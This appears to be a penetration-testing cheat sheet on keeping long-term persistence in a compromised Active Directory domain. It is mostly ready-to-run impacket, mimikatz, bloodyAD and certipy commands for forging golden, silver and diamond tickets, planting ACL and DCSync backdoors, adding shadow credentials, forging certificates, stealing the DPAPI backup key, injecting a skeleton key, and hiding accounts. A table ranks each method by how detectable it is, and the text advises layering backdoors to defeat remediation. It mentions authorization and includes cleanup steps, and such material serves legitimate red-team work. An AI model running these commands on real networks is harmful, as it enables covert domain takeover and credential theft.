Persistence
Sections Persistence
After you reach DA (or close to it), lock in long-term access. Pick mechanisms by detectability and durability, depending on the engagement.
AD persistence on a real engagement requires explicit written authorization. Even a “harmless” backdoor like an ACL change can violate scope. On HTB/labs anything goes.
DC=10.10.11.50
DOMAIN=corp.local
USER='Administrator'
PASS='AdminPass!'
i. Golden Ticket (krbtgt-based)
Forge a TGT for any user, valid until the krbtgt password changes (typically never, or only after a known compromise).
Step 1: Dump krbtgt
impacket-secretsdump -just-dc-user krbtgt $DOMAIN/$USER:$PASS@$DC
## Note the krbtgt NT hash and AES256 key from output
Step 2: Forge TGT
## With NT hash (RC4 ticket, easier to detect)
impacket-ticketer -nthash $KRBTGT_NT \
-domain-sid $DOMAIN_SID \
-domain $DOMAIN \
Administrator
## With AES256 (less detectable, preferred)
impacket-ticketer -aesKey $KRBTGT_AES256 \
-domain-sid $DOMAIN_SID \
-domain $DOMAIN \
Administrator
## Output: Administrator.ccache
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass dc.$DOMAIN
Mimikatz equivalent (Windows side):
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:$DOMAIN_SID /krbtgt:$KRBTGT_NT /ptt
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:$DOMAIN_SID /aes256:$KRBTGT_AES256 /ptt
Lifetime defaults to 10 years. Customize:
impacket-ticketer -aesKey $AES -domain-sid $SID -domain $DOMAIN \
-duration 365 -user-id 500 -groups 512,513,518,519,520 Administrator
Resetting krbtgt password TWICE (with replication delay between) invalidates all golden tickets. Defenders do this on incident response. Pull a fresh krbtgt hash periodically if you need long-term access.
ii. Silver Ticket (service account hash)
Forge a TGS directly to a specific service. No DC involved during use, so no Event 4768/4769 from your activity:
impacket-ticketer -nthash $SERVICE_NT \
-domain-sid $DOMAIN_SID \
-domain $DOMAIN \
-spn cifs/server.corp.local \
Administrator
## Use it:
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass server.corp.local
Silver vs Golden:
- Silver = specific service, doesn’t touch DC
- Golden = TGT, used to request any service from any DC
- Silver survives krbtgt resets, dies only if the service account’s password changes
iii. Diamond / Sapphire Ticket
Modify a real DC-issued TGT instead of forging from scratch. Looks much more legitimate in logs.
impacket-ticketer -aesKey $KRBTGT_AES \
-domain-sid $DOMAIN_SID \
-domain $DOMAIN \
-request -user $USER -password $PASS -dc-ip $DC \
-user-id 500 -groups 512,513,518,519,520 \
Administrator
The -request flag tells ticketer to first get a real TGT and modify its PAC.
Sapphire ticket (newer, uses S4U2self trick to make the PAC look perfect): emerging tools (Rubeus has partial support), worth checking GitHub for current PoCs.
iv. AdminSDHolder ACL backdoor
AdminSDHolder is a template object in the domain. Every 60 minutes, the SDProp process copies its ACL onto every protected object (Domain Admins, Account Operators, etc).
If you add an ACE granting yourself rights on AdminSDHolder, SDProp pushes it to every protected group. You get GenericAll on Domain Admins until someone notices.
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add genericAll \
"CN=AdminSDHolder,CN=System,DC=corp,DC=local" attacker
## Wait 60 minutes (or force SDProp via DSRM if you have it)
## Now attacker has GenericAll on every protected group
Detection: enterprise defenders watch AdminSDHolder ACL changes specifically. Loud but durable.
v. DCSync rights for a regular user
Cleaner than AdminSDHolder. Grant a non-privileged account the two replication rights:
bloodyAD -d $DOMAIN -u Administrator -p $ADMINPASS --host $DC add dcsync svc_user
## Now svc_user can dump every hash without being in any privileged group
When investigating, defenders look at group memberships first. DCSync rights are an ACL on the domain object - easy to miss without specific tooling.
Cleanup:
bloodyAD -d $DOMAIN -u Administrator -p $ADMINPASS --host $DC remove dcsync svc_user
vi. Shadow Credentials on a privileged account
Once you have GenericWrite on a target (or a privileged target), add a Key Credential. You can authenticate as that target anytime via PKINIT without knowing/breaking their password:
bloodyAD -d $DOMAIN -u Administrator -p $ADMINPASS --host $DC add shadowCredentials Administrator
## Output: Administrator.ccache (or .pfx)
## Anytime later:
certipy auth -pfx Administrator.pfx -dc-ip $DC
Cleanup when no longer needed:
bloodyAD -d $DOMAIN -u Administrator -p $ADMINPASS --host $DC remove shadowCredentials Administrator
Survives password changes. The key persists until explicitly removed.
vii. Certificate-based persistence (forge with CA private key)
If you compromised the CA host, extract its private key. Forge certs for any user, indefinitely:
## On CA host:
mimikatz # crypto::capi
mimikatz # crypto::certificates /export
## Or:
certipy ca -backup -ca CORP-CA -u $USER@$DOMAIN -p $PASS
Then offline forge:
certipy forge -ca-pfx ca.pfx -upn Administrator@$DOMAIN -subject 'CN=Administrator'
certipy auth -pfx Administrator_forged.pfx -dc-ip $DC
Forged certs:
- Last as long as the CA cert is valid (often years)
- Survive password resets
- Hard to detect without monitoring issued cert serials
viii. DPAPI Domain Backup Key
The domain DPAPI backup key (held by DCs) can decrypt every user’s DPAPI secrets on every host. Once you extract it, you have a forever-key for credential harvesting:
impacket-dpapi backupkeys -t $DOMAIN/Administrator:$PASS@$DC
## or:
mimikatz # lsadump::backupkeys /system:$DC /export
The backup key doesn’t change. As long as DPAPI exists in the domain, this key decrypts every DPAPI-protected secret on every host: saved browser passwords, RDP creds, mail clients, etc.
ix. Skeleton Key
Inject a master password into LSASS on a DC. Anyone can auth as anyone with the skeleton password. Default: “mimikatz”.
## On the DC, as SYSTEM:
mimikatz # privilege::debug
mimikatz # misc::skeleton
Dies on DC reboot. Re-inject after each reboot. Mostly historical/red-team-flag territory now (most EDR catches it), but works on undefended boxes.
x. DSRM Sync
The DC’s local Administrator (DSRM mode) password can be configured to sync with a domain account’s password. Set this up, then any reset of that domain account = you also know the DSRM password:
mimikatz # lsadump::sam /patch
## Note the DSRM hash
## Set DSRM behavior:
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2
## Now you can PsExec to the DC as ".\Administrator" with the DSRM hash
xi. Hidden user / hidden ACL
Create a backup user that doesn’t show in normal enumeration:
## Create the user in an OU defenders don't watch (e.g. a Builtin container, custom OU)
bloodyAD -d $DOMAIN -u Administrator -p $ADMINPASS --host $DC add user backup_svc 'P@ssw0rd!' \
--ou "OU=Disabled,DC=corp,DC=local"
## Hide it from default LDAP queries by clearing common readable attributes:
bloodyAD -d $DOMAIN -u Administrator -p $ADMINPASS --host $DC set object backup_svc description
## Grant it DCSync:
bloodyAD -d $DOMAIN -u Administrator -p $ADMINPASS --host $DC add dcsync backup_svc
Combined with AdminCount tricks (don’t add to protected groups, won’t be SDProp-protected, less audit attention) and unusual OU placement.
xii. Computer account persistence
Any domain user can create up to 10 computer accounts (MachineAccountQuota=10 default). Use this to create a hidden RBCD-ready computer:
bloodyAD -d $DOMAIN -u Administrator -p $ADMINPASS --host $DC add computer hidden_pc 'CompP@ss!'
bloodyAD -d $DOMAIN -u Administrator -p $ADMINPASS --host $DC add dcsync 'hidden_pc$'
## Or grant generic write on key targets:
bloodyAD -d $DOMAIN -u Administrator -p $ADMINPASS --host $DC add genericAll 'CN=Administrator,CN=Users,DC=corp,DC=local' 'hidden_pc$'
Then forget about the account. Use it months later via PtH or as the source for RBCD attacks.
xiii. badSuccessor (DMSA persistence)
Delegated Managed Service Accounts (DMSAs) inherit privileges from their predecessor. If you can create a DMSA with a high-privilege predecessor (the “managed account preceded by link”), the DMSA inherits those privileges. bloodyAD wraps the attack:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add badSuccessor newDMSA \
-t "CN=Administrator,CN=Users,DC=corp,DC=local"
## Multiple targets:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add badSuccessor newDMSA \
-t "CN=Administrator,CN=Users,DC=corp,DC=local" \
-t "CN=krbtgt,CN=Users,DC=corp,DC=local"
Pre-check vulnerability:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC msldap badsuccessor_check
Patched in Windows Server 2025 updates released 2025. Pre-patch DCs remain vulnerable.
xiv. SID History injection
When you have DA in any domain, write a SID into a user’s sIDHistory. That user inherits the rights of the SID’s owner (typically a privileged group):
## Direct LDAP write requires the right ACEs, usually only DA can set sIDHistory
bloodyAD -d $DOMAIN -u Administrator -p $ADMINPASS --host $DC set object \
backup_user sIDHistory -v 'S-1-5-21-AAA-BBB-CCC-512'
## Now backup_user is a member of Domain Admins (via SID history) without being in the group
Bypasses group membership audits. Detectable only by direct sIDHistory queries.
xv. Persistence ranking (durability vs detectability)
| Mechanism | Durability | Detectability | Use when |
|---|---|---|---|
| Golden Ticket (krbtgt) | High (10 years default) | Low if AES, high if RC4 | After full DA, primary backdoor |
| Silver Ticket | Per-service | Low | Need access to ONE specific service |
| Diamond Ticket | High | Lower than golden | When MDI / AD ATP in play |
| Shadow Credentials | High | Medium | GenericWrite on target, no password change wanted |
| DCSync ACE | High | Low | Long-term dumping ability |
| AdminSDHolder | High | High (well-known IOC) | Quick DA recovery |
| Cert forge (CA key) | Very high (cert validity) | Low | CA compromise gives this for free |
| DPAPI Backup Key | Permanent | Low | DPAPI cred harvesting forever |
| Skeleton Key | Single boot | High | Specific scenarios only |
| Hidden user + ACL | Medium | Medium | Want a “normal-looking” auth path |
| badSuccessor (DMSA) | High on unpatched | Medium | Pre-2025 DC builds |
| SID History injection | High | Low | Defender doesn’t query sIDHistory |
xvi. Layered persistence
Drop multiple mechanisms so defender remediation of one doesn’t kill all access:
- Forge a golden ticket, use it for active operations
- Add DCSync ACE to a controlled account for credential refresh
- Drop shadow credentials on one DA account
- Pull and save the DPAPI domain backup key for cred decryption later
- Forge a long-lived certificate from a compromised CA
Each is independent. Remediation requires finding all of them.
xvii. Cleanup checklist
End-of-engagement (or right after testing persistence works):
bloodyAD -d $DOMAIN -u Administrator -p $PASS --host $DC remove genericAll \
"CN=AdminSDHolder,CN=System,DC=corp,DC=local" attacker
bloodyAD -d $DOMAIN -u Administrator -p $PASS --host $DC remove dcsync attacker
bloodyAD -d $DOMAIN -u Administrator -p $PASS --host $DC remove shadowCredentials Administrator
bloodyAD -d $DOMAIN -u Administrator -p $PASS --host $DC remove object backup_svc
bloodyAD -d $DOMAIN -u Administrator -p $PASS --host $DC remove object 'hidden_pc$'
## Reset SID history if you set it:
bloodyAD -d $DOMAIN -u Administrator -p $PASS --host $DC set object backup_user sIDHistory
If you’ve forged golden tickets and want to “uncompromise” the domain, the client must reset krbtgt TWICE with a replication delay between (Microsoft’s “Reset-KrbtgtKeys.ps1” handles this). Document this in your report.
Document every change. Cleanup is part of the engagement, not optional.